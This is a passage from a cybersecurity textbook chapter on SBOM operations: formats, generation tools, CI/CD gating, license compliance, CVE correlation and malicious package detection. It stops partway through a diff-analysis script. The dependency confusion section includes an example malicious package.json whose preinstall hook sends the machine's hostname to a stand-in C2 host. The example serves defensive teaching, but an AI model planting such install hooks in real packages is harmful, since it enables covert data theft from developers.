Chapter 54: SBOM Operations & Software Composition Analysis¶
Overview¶
A Software Bill of Materials (SBOM) is a formal, machine-readable inventory of every component — libraries, frameworks, modules, and their transitive dependencies — that compose a piece of software. What was once an obscure concept discussed only in procurement and legal circles has become a cornerstone of modern cybersecurity operations. The catalyst: Executive Order 14028 (May 2021), which mandated SBOMs for all software sold to the U.S. federal government. But the implications extend far beyond government compliance. Every organization running software — which is every organization — needs to answer a fundamental question: What code is actually running in our environment, and is any of it vulnerable, malicious, or legally toxic? SBOMs provide the data foundation to answer that question at scale.
The software supply chain has become the primary attack surface for sophisticated adversaries. When attackers compromise a single widely-used open-source library, the blast radius encompasses thousands of downstream applications and millions of endpoints. Log4Shell (CVE-2021-44228) demonstrated that organizations could not answer the basic question "do we use Log4j?" without weeks of manual effort. The SolarWinds SUNBURST attack showed that even trusted commercial software can carry implanted backdoors through compromised build pipelines. These incidents exposed a critical capability gap: most organizations lack a reliable inventory of their software components, let alone the ability to correlate that inventory against vulnerability databases, license obligations, or indicators of supply chain compromise. SBOM operations close this gap by creating a continuous, automated pipeline from component inventory through risk analysis to remediation action.
This chapter covers the complete SBOM operations lifecycle — from understanding the competing format standards (SPDX, CycloneDX, SWID) through generation tooling, dependency analysis, license compliance, vulnerability correlation, malicious package detection, and enterprise-scale SCA pipeline integration. We connect SBOM operations to the vulnerability coordination concepts from Chapter 53: Zero-Day Response, the supply chain security foundations discussed in broader SOC operations, and the detection engineering methodology from Chapter 5: Detection Engineering at Scale. Every section pairs conceptual understanding with practical implementation: detection queries, pipeline configurations, and architectural patterns that turn SBOMs from compliance artifacts into active defensive tools.
Educational Content Only
All techniques, package names, vulnerability identifiers, IP addresses, domain names, and scenarios in this chapter are 100% synthetic and created for educational purposes only. IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) and RFC 1918 ranges (10.x, 172.16.x, 192.168.x). Domains use *.example.com and *.example. All credentials shown are placeholders (testuser/REDACTED). Package names such as "synthlib" or "phantom-utils" are entirely fictional. Never execute offensive techniques without explicit written authorization against systems you own or have written permission to test.
Learning Objectives¶
By the end of this chapter, students SHALL be able to:
- Analyze the structure and semantics of SBOM documents in SPDX, CycloneDX, and SWID formats, identifying the data fields critical to vulnerability correlation and license compliance (Analysis)
- Evaluate SBOM generation tools (Syft, Trivy, cdxgen, SPDX-tools) across accuracy, format support, language ecosystem coverage, and CI/CD integration maturity (Evaluation)
- Design an enterprise SCA pipeline that integrates SBOM generation, vulnerability correlation, license compliance checking, and policy gating into existing CI/CD workflows (Synthesis)
- Compare transitive dependency resolution strategies across package ecosystems (npm, PyPI, Maven, Go modules, Cargo) and assess their exposure to dependency confusion and typosquatting attacks (Evaluation)
- Create detection queries in KQL and SPL that identify supply chain attack indicators including malicious package installations, unexpected dependency changes, and anomalous build artifacts (Synthesis)
- Implement automated CVE-to-SBOM correlation workflows using NVD, OSV, and vendor advisory feeds to produce prioritized remediation reports (Application)
- Construct VEX (Vulnerability Exploitability eXchange) documents that communicate vulnerability applicability status to downstream consumers, reducing false-positive remediation burden (Application)
- Assess license compliance risk across open-source dependency trees, identifying GPL contamination, license incompatibilities, and dual-licensing traps that create legal exposure (Evaluation)
- Develop SBOM lifecycle management processes including versioning strategies, distribution mechanisms, consumer validation, and SBOM-as-a-Service architectures (Synthesis)
- Formulate a malicious package detection capability that combines static analysis, behavioral sandboxing, registry monitoring, and SBOM diff analysis to identify supply chain compromise before deployment (Synthesis)
Prerequisites¶
- Completion of Chapter 5: Detection Engineering at Scale — KQL/SPL query construction, detection rule lifecycle, alert tuning
- Completion of Chapter 29: Vulnerability Management — CVSS scoring, vulnerability prioritization, patch management fundamentals
- Familiarity with Chapter 53: Zero-Day Response — CVE lifecycle, VEX fundamentals, coordinated disclosure
- Familiarity with Chapter 8: SOAR & Automation Playbooks — automated response workflows, pipeline orchestration
- Familiarity with Chapter 20: Cloud Attack & Defense — cloud-native build pipelines, container registries
- Working knowledge of software development lifecycle, CI/CD pipelines, and package managers (npm, pip, Maven, Go modules)
MITRE ATT&CK Supply Chain & SBOM Mapping¶
| Technique ID | Technique Name | SBOM Context | Tactic |
|---|---|---|---|
| T1195.001 | Supply Chain Compromise: Compromise Software Dependencies and Development Tools | Malicious packages injected into dependency trees — SBOM diff detection | Initial Access (TA0001) |
| T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Compromised build pipelines producing tainted artifacts — SBOM integrity verification | Initial Access (TA0001) |
| T1059.006 | Command and Scripting Interpreter: Python | Malicious setup.py / post-install scripts in Python packages | Execution (TA0002) |
| T1059.007 | Command and Scripting Interpreter: JavaScript | Malicious npm install/postinstall scripts executing arbitrary code | Execution (TA0002) |
| T1204.002 | User Execution: Malicious File | Developer executes build with compromised dependency | Execution (TA0002) |
| T1027 | Obfuscated Files or Information | Obfuscated malicious code in package source | Defense Evasion (TA0005) |
| T1588.001 | Obtain Capabilities: Malware | Threat actors acquiring or developing malicious packages | Resource Development (TA0042) |
| T1588.005 | Obtain Capabilities: Exploits | Exploits targeting known CVEs in unpatched dependencies | Resource Development (TA0042) |
| T1190 | Exploit Public-Facing Application | Exploiting known vulnerable components identified by SBOM gap | Initial Access (TA0001) |
| T1071.001 | Application Layer Protocol: Web Protocols | Malicious packages phoning home via HTTP/S during install | Command & Control (TA0011) |
| T1567 | Exfiltration Over Web Service | Data exfiltration via compromised dependency callback | Exfiltration (TA0010) |
| T1199 | Trusted Relationship | Abuse of trust in open-source package registries | Initial Access (TA0001) |
54.1 SBOM Fundamentals¶
An SBOM answers the deceptively simple question: What software components are inside this application? The answer, however, is anything but simple. Modern applications are composed of hundreds or thousands of dependencies — direct and transitive — each with its own version, license, and vulnerability profile. An SBOM captures this entire dependency tree in a structured, machine-readable format that enables automated analysis at scale.
54.1.1 What Is an SBOM?¶
An SBOM is a nested inventory listing every component in a software artifact: the application's own code, its direct dependencies, their transitive dependencies (dependencies of dependencies), and — ideally — the build tools, compilers, and operating system packages involved. Think of it as the "nutrition label" for software.
Minimum elements of a useful SBOM (per NTIA):
| Element | Description | Example |
|---|---|---|
| Supplier Name | Entity that created or distributed the component | synthlib-project |
| Component Name | Name of the software component | synthlib-core |
| Version | Version identifier for the component | 3.2.1 |
| Unique Identifier | Machine-readable identifier (PURL, CPE) | pkg:npm/synthlib-core@3.2.1 |
| Dependency Relationship | How the component relates to others | depends-on, contains |
| Author of SBOM Data | Entity that created the SBOM | build-pipeline@acme.example.com |
| Timestamp | When the SBOM was generated | 2026-04-12T08:00:00Z |
PURL — Package URL
Package URL (PURL) is a standardized scheme for identifying software packages across ecosystems. Format: pkg:<type>/<namespace>/<name>@<version>. Examples: pkg:npm/%40acme/synthlib@2.0.0, pkg:pypi/phantom-utils@1.4.2, pkg:maven/com.example/synth-api@4.0.0. PURL enables cross-ecosystem correlation — essential when the same vulnerability affects packages in multiple registries.
54.1.2 Executive Order 14028 and the Regulatory Landscape¶
Executive Order 14028, "Improving the Nation's Cybersecurity" (May 12, 2021), transformed SBOMs from a niche practice into a federal requirement. Key mandates:
- Software vendors selling to U.S. federal agencies must provide SBOMs for their products
- SBOMs must be in a machine-readable format (SPDX or CycloneDX)
- SBOMs must include all direct and transitive dependencies
- Vendors must maintain and update SBOMs throughout the product lifecycle
- Agencies must use SBOMs to manage supply chain risk
Beyond Compliance: SBOM as an Operational Tool
While EO 14028 drove initial adoption, mature organizations now use SBOMs for:
- Incident response: When a critical CVE drops, instantly query which applications use the affected component (the "Log4Shell question")
- License compliance: Automated detection of GPL-licensed code in proprietary products
- M&A due diligence: Assess the technical debt and risk profile of acquisition targets
- Supply chain security: Detect unexpected new dependencies between builds
- Vendor risk management: Require SBOMs from third-party software providers
54.1.3 SBOM Depth: Source vs Build vs Runtime¶
SBOMs can be generated at different stages, each capturing different information:
| SBOM Type | Generation Point | Captures | Limitations |
|---|---|---|---|
| Source SBOM | From source code + manifest files | Declared dependencies | Misses dynamically loaded or vendored code |
| Build SBOM | During compilation/build process | All resolved dependencies at build time | Misses runtime-only dependencies |
| Runtime SBOM | From running application/container | Actually loaded components | Higher overhead, harder to automate |
| Analyzed SBOM | Post-hoc analysis of binary artifact | Binary composition via fingerprinting | Lower accuracy for obfuscated/stripped binaries |
The Gap Problem
No single SBOM type captures everything. A Source SBOM misses vendored C libraries copied into the repository. A Build SBOM misses dynamically loaded plugins. A Runtime SBOM misses components present in the container image but not loaded by the specific execution path. Production-grade SBOM operations often merge multiple types — this is called SBOM enrichment or SBOM fusion.
54.2 SBOM Formats: SPDX vs CycloneDX vs SWID¶
Three formats dominate the SBOM landscape. Choosing the right one — or supporting multiple — is an early architectural decision that affects tooling, automation, and interoperability.
54.2.1 Format Comparison¶
| Feature | SPDX 2.3 / 3.0 | CycloneDX 1.5+ | SWID |
|---|---|---|---|
| Governance | Linux Foundation / ISO 5962 | OWASP | ISO/IEC 19770-2 |
| Primary Focus | License compliance + security | Security + operations | Asset identification |
| Serialization | JSON, XML, RDF, YAML, Tag-Value | JSON, XML, Protobuf | XML |
| VEX Support | Via SPDX 3.0 Security profile | Native (since 1.4) | No |
| Vulnerability Data | External correlation | Embedded vuln records | No |
| Service/API Inventory | SPDX 3.0 Services profile | Native (since 1.4) | No |
| License Expression | SPDX License Expressions (native) | SPDX expressions (adopted) | Limited |
| Dependency Graph | Full relationship model | Component hierarchy + dependsOn | Flat inventory |
| Build/Lifecycle Context | SPDX 3.0 Build profile | Formulation (since 1.5) | No |
| Government Adoption | EO 14028 recognized | EO 14028 recognized | NIST-recommended for asset mgmt |
| Community Momentum | Strong (Linux Foundation) | Very strong (OWASP, rapid iteration) | Declining |
54.2.2 SPDX Format Deep Dive¶
SPDX (Software Package Data Exchange) is the oldest and most compliance-focused format. SPDX 2.3 achieved ISO standardization (ISO/IEC 5962:2021), giving it strong standing in regulated industries.
{
"spdxVersion": "SPDX-2.3",
"dataLicense": "CC0-1.0",
"SPDXID": "SPDXRef-DOCUMENT",
"name": "synth-webapp-sbom",
"documentNamespace": "https://sbom.example.com/synth-webapp/v2.4.1",
"creationInfo": {
"created": "2026-04-12T08:00:00Z",
"creators": [
"Tool: syft-0.105.0",
"Organization: Acme SecOps (build-pipeline@acme.example.com)"
]
},
"packages": [
{
"SPDXID": "SPDXRef-Package-synthlib-core",
"name": "synthlib-core",
"versionInfo": "3.2.1",
"supplier": "Organization: synthlib-project",
"downloadLocation": "https://registry.example.com/synthlib-core-3.2.1.tar.gz",
"licenseConcluded": "MIT",
"licenseDeclared": "MIT",
"externalRefs": [
{
"referenceCategory": "PACKAGE-MANAGER",
"referenceType": "purl",
"referenceLocator": "pkg:npm/synthlib-core@3.2.1"
},
{
"referenceCategory": "SECURITY",
"referenceType": "cpe23Type",
"referenceLocator": "cpe:2.3:a:synthlib-project:synthlib-core:3.2.1:*:*:*:*:*:*:*"
}
],
"checksums": [
{
"algorithm": "SHA256",
"checksumValue": "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2"
}
]
}
],
"relationships": [
{
"spdxElementId": "SPDXRef-DOCUMENT",
"relationshipType": "DESCRIBES",
"relatedSpdxElement": "SPDXRef-Package-synth-webapp"
},
{
"spdxElementId": "SPDXRef-Package-synth-webapp",
"relationshipType": "DEPENDS_ON",
"relatedSpdxElement": "SPDXRef-Package-synthlib-core"
}
]
}
54.2.3 CycloneDX Format Deep Dive¶
CycloneDX, governed by OWASP, has gained rapid adoption due to its security-first design and fast iteration cycle. It natively supports vulnerability records, VEX, service definitions, and formulation (build provenance).
{
"bomFormat": "CycloneDX",
"specVersion": "1.5",
"serialNumber": "urn:uuid:a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"version": 1,
"metadata": {
"timestamp": "2026-04-12T08:00:00Z",
"tools": [
{
"vendor": "anchore",
"name": "syft",
"version": "0.105.0"
}
],
"component": {
"type": "application",
"name": "synth-webapp",
"version": "2.4.1",
"purl": "pkg:generic/acme/synth-webapp@2.4.1"
}
},
"components": [
{
"type": "library",
"name": "synthlib-core",
"version": "3.2.1",
"purl": "pkg:npm/synthlib-core@3.2.1",
"licenses": [
{
"license": {
"id": "MIT"
}
}
],
"hashes": [
{
"alg": "SHA-256",
"content": "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2"
}
]
},
{
"type": "library",
"name": "phantom-utils",
"version": "1.4.2",
"purl": "pkg:npm/phantom-utils@1.4.2",
"licenses": [
{
"license": {
"id": "Apache-2.0"
}
}
]
}
],
"dependencies": [
{
"ref": "pkg:generic/acme/synth-webapp@2.4.1",
"dependsOn": [
"pkg:npm/synthlib-core@3.2.1",
"pkg:npm/phantom-utils@1.4.2"
]
},
{
"ref": "pkg:npm/synthlib-core@3.2.1",
"dependsOn": [
"pkg:npm/phantom-utils@1.4.2"
]
}
]
}
54.2.4 When to Use Which Format¶
Format Selection Guidance
- SPDX: Best for organizations with strong license compliance requirements, government contracts, or ISO audit obligations. SPDX 3.0 closes the security gap with dedicated Security and Build profiles.
- CycloneDX: Best for security-focused teams who need embedded vulnerability data, VEX integration, and rapid tooling iteration. Most security tooling defaults to CycloneDX.
- SWID: Best for legacy software asset management (SAM) integration. Declining in relevance for security use cases.
- Multi-format strategy: Many organizations generate both SPDX (for compliance) and CycloneDX (for security operations), using tools that support format conversion.
54.3 SBOM Generation¶
Generating accurate SBOMs at scale requires integrating generation tools into build pipelines, understanding each tool's strengths and blind spots, and validating output quality.
54.3.1 SBOM Generation Tools Comparison¶
| Tool | Maintainer | Formats | Language Coverage | Key Strength |
|---|---|---|---|---|
| Syft | Anchore | SPDX, CycloneDX | 30+ ecosystems, containers, filesystems | Broadest coverage, actively maintained |
| Trivy | Aqua Security | SPDX, CycloneDX | Containers, filesystems, repos, IaC | Combined SBOM + vulnerability scanning |
| cdxgen | CycloneDX | CycloneDX | npm, Python, Java, Go, Rust, .NET, PHP | Deep dependency resolution, OWASP-backed |
| SPDX-tools | SPDX Project | SPDX | Format conversion + validation | Reference implementation for SPDX |
| Tern | VMware | SPDX | Container images (Dockerfile analysis) | Layer-by-layer container decomposition |
| Microsoft SBOM Tool | Microsoft | SPDX | .NET, npm, Maven, pip, Go | Azure DevOps integration |
54.3.2 Generating SBOMs with Syft¶
Syft is the most widely adopted open-source SBOM generator. It scans container images, filesystems, and archives.
# Generate CycloneDX SBOM from a container image
syft registry.example.com/acme/synth-webapp:2.4.1 \
-o cyclonedx-json \
--file synth-webapp-2.4.1.cdx.json
# Generate SPDX SBOM from a local directory
syft dir:/app/synth-webapp \
-o spdx-json \
--file synth-webapp-2.4.1.spdx.json
# Generate from a filesystem with name and version metadata
syft dir:/app/synth-webapp \
-o cyclonedx-json \
--name "synth-webapp" \
--version "2.4.1" \
--file synth-webapp-2.4.1.cdx.json
54.3.3 Generating SBOMs with Trivy¶
Trivy combines SBOM generation with vulnerability scanning in a single tool — useful for teams that want both capabilities without managing separate toolchains.
# Generate CycloneDX SBOM from container image
trivy image --format cyclonedx \
--output synth-webapp-2.4.1.cdx.json \
registry.example.com/acme/synth-webapp:2.4.1
# Generate SBOM and scan for vulnerabilities simultaneously
trivy image --format json \
--output synth-webapp-vuln-report.json \
registry.example.com/acme/synth-webapp:2.4.1
# Scan from SBOM (decouple generation from scanning)
trivy sbom synth-webapp-2.4.1.cdx.json \
--format json --output vuln-from-sbom.json
54.3.4 CI/CD Pipeline Integration¶
SBOM generation must be automated, not manual. Here is a GitHub Actions workflow integrating SBOM generation into the build pipeline:
# .github/workflows/sbom-generate.yml
name: SBOM Generation & Vulnerability Scan
on:
push:
branches: [main, release/*]
pull_request:
branches: [main]
jobs:
sbom:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build container image
run: |
docker build -t synth-webapp:${{ github.sha }} .
- name: Generate SBOM (CycloneDX)
uses: anchore/sbom-action@v0
with:
image: synth-webapp:${{ github.sha }}
format: cyclonedx-json
output-file: sbom.cdx.json
artifact-name: sbom-cyclonedx
- name: Generate SBOM (SPDX)
uses: anchore/sbom-action@v0
with:
image: synth-webapp:${{ github.sha }}
format: spdx-json
output-file: sbom.spdx.json
artifact-name: sbom-spdx
- name: Scan SBOM for vulnerabilities
uses: aquasecurity/trivy-action@master
with:
input: sbom.cdx.json
format: sarif
output: trivy-results.sarif
severity: CRITICAL,HIGH
- name: Upload scan results to Security tab
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: trivy-results.sarif
- name: Policy gate — fail on critical vulnerabilities
run: |
CRITICAL_COUNT=$(trivy sbom sbom.cdx.json \
--severity CRITICAL --format json 2>/dev/null \
| jq '[.Results[].Vulnerabilities // [] | .[] | select(.Severity == "CRITICAL")] | length')
if [ "$CRITICAL_COUNT" -gt 0 ]; then
echo "::error::$CRITICAL_COUNT critical vulnerabilities found — blocking merge"
exit 1
fi
SBOM Attestation with Cosign
For supply chain integrity, attach SBOMs as signed attestations to container images using Sigstore's cosign:
54.4 Dependency Analysis¶
Understanding dependency trees — especially transitive dependencies — is essential for accurate risk assessment. Most vulnerabilities in production applications exist not in direct dependencies but in deeply nested transitive dependencies that developers never explicitly chose.
54.4.1 Direct vs Transitive Dependencies¶
synth-webapp@2.4.1 ← Your application
├── synthlib-core@3.2.1 ← Direct dependency (you chose this)
│ ├── phantom-utils@1.4.2 ← Transitive (1st degree)
│ │ └── micro-parser@0.9.8 ← Transitive (2nd degree)
│ └── ghost-logger@2.1.0 ← Transitive (1st degree)
│ └── ansi-colors@4.1.1 ← Transitive (2nd degree)
├── synth-auth@1.8.0 ← Direct dependency
│ ├── phantom-utils@1.3.9 ← Transitive (DIFFERENT VERSION — conflict!)
│ └── jwt-handler@3.0.2 ← Transitive
│ └── crypto-base@1.2.0 ← Transitive (2nd degree)
└── express-router@5.0.0 ← Direct dependency
├── body-parser@2.0.1 ← Transitive
└── cookie-handler@1.5.0 ← Transitive
The Transitive Dependency Problem
In the tree above, synth-webapp has 3 direct dependencies but 9 transitive dependencies. In real-world applications, a project with 50 direct dependencies can easily have 500-1,500 transitive dependencies. Security teams must monitor the entire tree — a critical vulnerability in micro-parser@0.9.8 is just as dangerous as one in synthlib-core@3.2.1, even though no developer explicitly chose to include it.
54.4.2 Dependency Confusion Attacks¶
Dependency confusion (also called namespace confusion or substitution attacks) exploits how package managers resolve dependencies when both private and public registries are configured.
Attack mechanism:
- Attacker identifies a private/internal package name (e.g.,
acme-auth-internal) - Attacker publishes a package with the same name on the public registry (e.g., npmjs.com)
- Attacker assigns a very high version number (e.g.,
99.0.0) - Victim's package manager resolves the dependency and selects the higher-version public package over the lower-version private one
- Malicious code executes during installation
// Malicious package.json on public npm (attacker-controlled)
{
"name": "acme-auth-internal",
"version": "99.0.0",
"scripts": {
"preinstall": "node -e \"require('https').get('https://c2.example.com/exfil?host='+require('os').hostname())\""
}
}
Detection with SBOM analysis:
// Detect new packages appearing in SBOM that were not in previous build
let baseline_sbom = SBOMInventory_CL
| where BuildId_s == "previous-build-id"
| distinct PackageName_s, PackageVersion_s;
SBOMInventory_CL
| where BuildId_s == "current-build-id"
| join kind=leftanti baseline_sbom on PackageName_s
| project TimeGenerated, PackageName_s, PackageVersion_s,
PackageEcosystem_s, PackagePURL_s, BuildPipeline_s
| extend AlertTitle = strcat("New package in SBOM: ", PackageName_s,
"@", PackageVersion_s)
| inputlookup sbom_baseline.csv
| eval baseline_key=PackageName."-".PackageVersion
| fields baseline_key, PackageName
| rename PackageName AS baseline_pkg
| join type=left baseline_key
[search index=sbom_inventory BuildId="current-build-id"
| eval current_key=PackageName."-".PackageVersion
| rename current_key AS baseline_key]
| where isnull(baseline_pkg)
| table _time, PackageName, PackageVersion, PackageEcosystem,
PackagePURL, BuildPipeline
| eval AlertTitle="New package in SBOM: ".PackageName."@".PackageVersion
54.4.3 Typosquatting Detection¶
Typosquatting targets developers who mistype package names. SBOM analysis can detect these by comparing component names against known-good dependency lists.
| Legitimate Package | Typosquat Variant | Technique |
|---|---|---|
synthlib-core | synthlib-c0re | Character substitution (o → 0) |
phantom-utils | phantomutils | Hyphen removal |
phantom-utils | phanton-utils | Character swap (m → n) |
express-router | express-r0uter | Character substitution |
ghost-logger | ghost-loger | Character omission |
#!/usr/bin/env python3
"""SBOM typosquatting detector — compares SBOM packages against allowlist."""
import json
from difflib import SequenceMatcher
KNOWN_GOOD_PACKAGES = [
"synthlib-core", "phantom-utils", "ghost-logger",
"express-router", "body-parser", "cookie-handler",
"micro-parser", "ansi-colors", "jwt-handler", "crypto-base"
]
SIMILARITY_THRESHOLD = 0.85 # Flag packages with >85% name similarity
def load_sbom_packages(sbom_path: str) -> list[dict]:
"""Load package names from CycloneDX SBOM."""
with open(sbom_path) as f:
sbom = json.load(f)
return [
{"name": c["name"], "version": c.get("version", "unknown")}
for c in sbom.get("components", [])
]
def detect_typosquats(packages: list[dict]) -> list[dict]:
"""Detect potential typosquat packages using string similarity."""
alerts = []
for pkg in packages:
if pkg["name"] in KNOWN_GOOD_PACKAGES:
continue
for known in KNOWN_GOOD_PACKAGES:
ratio = SequenceMatcher(None, pkg["name"], known).ratio()
if ratio >= SIMILARITY_THRESHOLD and pkg["name"] != known:
alerts.append({
"suspicious_package": pkg["name"],
"version": pkg["version"],
"similar_to": known,
"similarity": round(ratio, 3),
"risk": "HIGH — potential typosquatting"
})
return alerts
if __name__ == "__main__":
packages = load_sbom_packages("synth-webapp-2.4.1.cdx.json")
alerts = detect_typosquats(packages)
for alert in alerts:
print(f"[ALERT] {alert['suspicious_package']}@{alert['version']} "
f"is {alert['similarity']*100:.1f}% similar to {alert['similar_to']}")
54.5 License Compliance & Risk¶
Open-source licenses carry legal obligations that can create significant business risk if undetected. SBOMs provide the data foundation for automated license compliance analysis.
54.5.1 License Categories and Risk Tiers¶
| Risk Tier | License Type | Examples | Obligation | Business Risk |
|---|---|---|---|---|
| Low | Permissive | MIT, BSD-2-Clause, Apache-2.0, ISC | Attribution only | Minimal — include copyright notice |
| Medium | Weak copyleft | LGPL-2.1, MPL-2.0, EPL-2.0 | Modified files must be shared | Moderate — affects modified libraries |
| High | Strong copyleft | GPL-2.0, GPL-3.0, AGPL-3.0 | Entire derivative work must be shared | Critical — may require open-sourcing proprietary code |
| Critical | Network copyleft | AGPL-3.0, SSPL | Network interaction triggers copyleft | Highest — SaaS/API use triggers disclosure |
| Unknown | No license / custom | NOASSERTION, proprietary | Cannot legally use | Blocks distribution — legal review required |
54.5.2 GPL Contamination Detection¶
"GPL contamination" occurs when a GPL-licensed dependency is linked into a proprietary application, potentially requiring the entire application to be released under GPL terms.
#!/usr/bin/env python3
"""SBOM license compliance checker — flags GPL contamination risks."""
import json
import sys
COPYLEFT_LICENSES = {
"GPL-2.0-only", "GPL-2.0-or-later",
"GPL-3.0-only", "GPL-3.0-or-later",
"AGPL-3.0-only", "AGPL-3.0-or-later",
"SSPL-1.0"
}
WEAK_COPYLEFT = {"LGPL-2.1-only", "LGPL-2.1-or-later",
"LGPL-3.0-only", "LGPL-3.0-or-later",
"MPL-2.0", "EPL-2.0"}
def check_license_compliance(sbom_path: str) -> dict:
"""Analyze CycloneDX SBOM for license compliance issues."""
with open(sbom_path) as f:
sbom = json.load(f)
results = {"critical": [], "warning": [], "clean": [], "unknown": []}
for component in sbom.get("components", []):
name = component.get("name", "unknown")
version = component.get("version", "unknown")
licenses = component.get("licenses", [])
if not licenses:
results["unknown"].append(
f"{name}@{version} — NO LICENSE DECLARED")
continue
for lic_entry in licenses:
lic_id = (lic_entry.get("license", {}).get("id", "")
or lic_entry.get("expression", ""))
if lic_id in COPYLEFT_LICENSES:
results["critical"].append(
f"{name}@{version} — {lic_id} (strong copyleft)")
elif lic_id in WEAK_COPYLEFT:
results["warning"].append(
f"{name}@{version} — {lic_id} (weak copyleft)")
elif lic_id:
results["clean"].append(f"{name}@{version} — {lic_id}")
else:
results["unknown"].append(
f"{name}@{version} — unrecognized license")
return results
if __name__ == "__main__":
results = check_license_compliance(sys.argv[1])
if results["critical"]:
print(f"\n[CRITICAL] {len(results['critical'])} GPL contamination risks:")
for item in results["critical"]:
print(f" - {item}")
if results["unknown"]:
print(f"\n[WARNING] {len(results['unknown'])} components with unknown license:")
for item in results["unknown"]:
print(f" - {item}")
print(f"\n[INFO] {len(results['clean'])} components with permissive licenses")
54.5.3 License Compatibility Matrix¶
Not all open-source licenses are compatible with each other. Combining incompatible licenses in the same application creates legal conflicts.
| MIT | Apache-2.0 | LGPL-2.1 | GPL-2.0 | GPL-3.0 | AGPL-3.0 | |
|---|---|---|---|---|---|---|
| MIT | Yes | Yes | Yes | Yes | Yes | Yes |
| Apache-2.0 | Yes | Yes | Yes | No* | Yes | Yes |
| LGPL-2.1 | Yes | Yes | Yes | Yes | No* | No* |
| GPL-2.0 | Yes | No* | Yes | Yes | No | No |
| GPL-3.0 | Yes | Yes | No* | No | Yes | Yes |
| AGPL-3.0 | Yes | Yes | No* | No | Yes | Yes |
Incompatibility due to conflicting patent clauses, version-specific copyleft terms, or tivoization restrictions.
License Compliance is a Security Issue
License violations can result in injunctions forcing an organization to stop distributing software, release proprietary source code, or pay significant damages. For security teams, license compliance is a form of legal risk management — and SBOMs automate what was previously a manual, error-prone audit process.
54.6 Vulnerability Correlation¶
The most operationally impactful use of SBOMs is correlating component inventories against vulnerability databases to answer: Which of our applications contain known-vulnerable components, and which vulnerabilities are actually exploitable in our context?
54.6.1 Vulnerability Data Sources¶
| Source | Coverage | Update Frequency | Key Feature |
|---|---|---|---|
| NVD (NIST) | Broad (CVE-based) | Daily | CPE matching, CVSS scores |
| OSV (Google) | Open-source focused | Continuous | PURL-native, ecosystem-specific |
| GitHub Advisory Database | GitHub ecosystem | Continuous | Direct PURL matching, GHSA IDs |
| CISA KEV | Actively exploited only | As needed | Known Exploited Vulnerabilities catalog |
| VulnDB (Risk Based Security) | Broadest commercial | Daily | Includes non-CVE vulnerabilities |
| Vendor advisories | Vendor-specific | Varies | Authoritative for specific products |
54.6.2 CVE-to-SBOM Correlation Workflow¶
┌─────────────┐ ┌──────────────┐ ┌──────────────┐ ┌───────────────┐
│ SBOM Store │───>│ Correlation │<───│ Vulnerability│ │ Prioritized │
│ (all apps) │ │ Engine │ │ Feeds (NVD, │───>│ Remediation │
│ │ │ │ │ OSV, KEV) │ │ Report │
└─────────────┘ └──────────────┘ └──────────────┘ └───────────────┘
│ │
v v
┌──────────────┐ ┌───────────────┐
│ VEX Filter │ │ Ticket/Alert │
│ (remove │ │ Generation │
│ non-affected)│ │ (Jira, PD, │
└──────────────┘ │ Sentinel) │
└───────────────┘
54.6.3 Automated Correlation with Grype¶
Grype (by Anchore) scans SBOMs directly against its vulnerability database:
# Scan an SBOM for vulnerabilities
grype sbom:synth-webapp-2.4.1.cdx.json \
--output json \
--file vuln-results.json
# Filter for critical and high severity
grype sbom:synth-webapp-2.4.1.cdx.json \
--fail-on critical \
--only-fixed
# Scan with EPSS enrichment (via overlay)
grype sbom:synth-webapp-2.4.1.cdx.json \
--output table \
| head -20
Example correlation output:
| Component | Version | CVE (Synthetic) | CVSS | EPSS | KEV | Fix Available |
|---|---|---|---|---|---|---|
| synthlib-core | 3.2.1 | SYNTH-2026-0042 | 9.8 | 0.94 | Yes | 3.2.2 |
| phantom-utils | 1.4.2 | SYNTH-2026-0108 | 7.5 | 0.12 | No | 1.4.3 |
| micro-parser | 0.9.8 | SYNTH-2026-0201 | 4.3 | 0.02 | No | No fix |
| ghost-logger | 2.1.0 | — | — | — | — | — |
54.6.4 Detection: Vulnerable Components in Production¶
// Alert when a CISA KEV-listed vulnerability maps to a deployed SBOM component
let kev_vulns = externaldata(cveID: string, vendorProject: string,
product: string, dateAdded: datetime)
[@"https://sbom-feeds.example.com/kev.csv"] with (format="csv");
SBOMInventory_CL
| join kind=inner (
VulnerabilityCorrelation_CL
| where SeverityScore_d >= 7.0
) on PackagePURL_s
| join kind=inner kev_vulns on $left.CVE_s == $right.cveID
| project TimeGenerated, ApplicationName_s, PackageName_s,
PackageVersion_s, CVE_s, SeverityScore_d,
EPSS_Score_d, FixVersion_s, Environment_s
| where Environment_s == "production"
| sort by SeverityScore_d desc
index=sbom_inventory
| join PackagePURL
[search index=vuln_correlation SeverityScore>=7.0
| fields PackagePURL, CVE, SeverityScore, EPSS_Score, FixVersion]
| join CVE
[| inputlookup cisa_kev.csv
| rename cveID AS CVE]
| where Environment="production"
| table _time, ApplicationName, PackageName, PackageVersion,
CVE, SeverityScore, EPSS_Score, FixVersion, Environment
| sort -SeverityScore
EPSS-Based Prioritization
Not all CVEs are equal. The Exploit Prediction Scoring System (EPSS) predicts the probability that a CVE will be exploited in the wild within 30 days. Combine EPSS with CVSS and CISA KEV status for data-driven prioritization. See Chapter 53: Zero-Day Response for EPSS integration details.
54.7 Malicious Package Detection¶
Supply chain attacks via malicious packages are increasing rapidly. SBOM operations provide a critical detection layer by enabling comparison between expected and actual software composition.
54.7.1 Attack Patterns¶
| Pattern | Description | Detection Method |
|---|---|---|
| Typosquatting | Package name similar to popular library | Name similarity analysis against allowlist |
| Dependency confusion | Public package overrides private name | Registry source verification in SBOM |
| Maintainer hijack | Legitimate account compromised | Author/publisher change detection |
| Star jacking | Cloned repo with malicious modifications | Repository URL verification |
| Build pipeline compromise | CI/CD injects malicious dependency | SBOM diff between commits |
| Protestware | Maintainer intentionally adds harmful code | Behavioral analysis, code review flags |
54.7.2 SBOM Diff Analysis¶
Comparing SBOMs between builds reveals unexpected changes — the most effective method for detecting supply chain compromise at the SBOM level.
#!/usr/bin/env python3
"""SBOM diff analyzer — detects unexpected changes between builds."""
import json
import sys
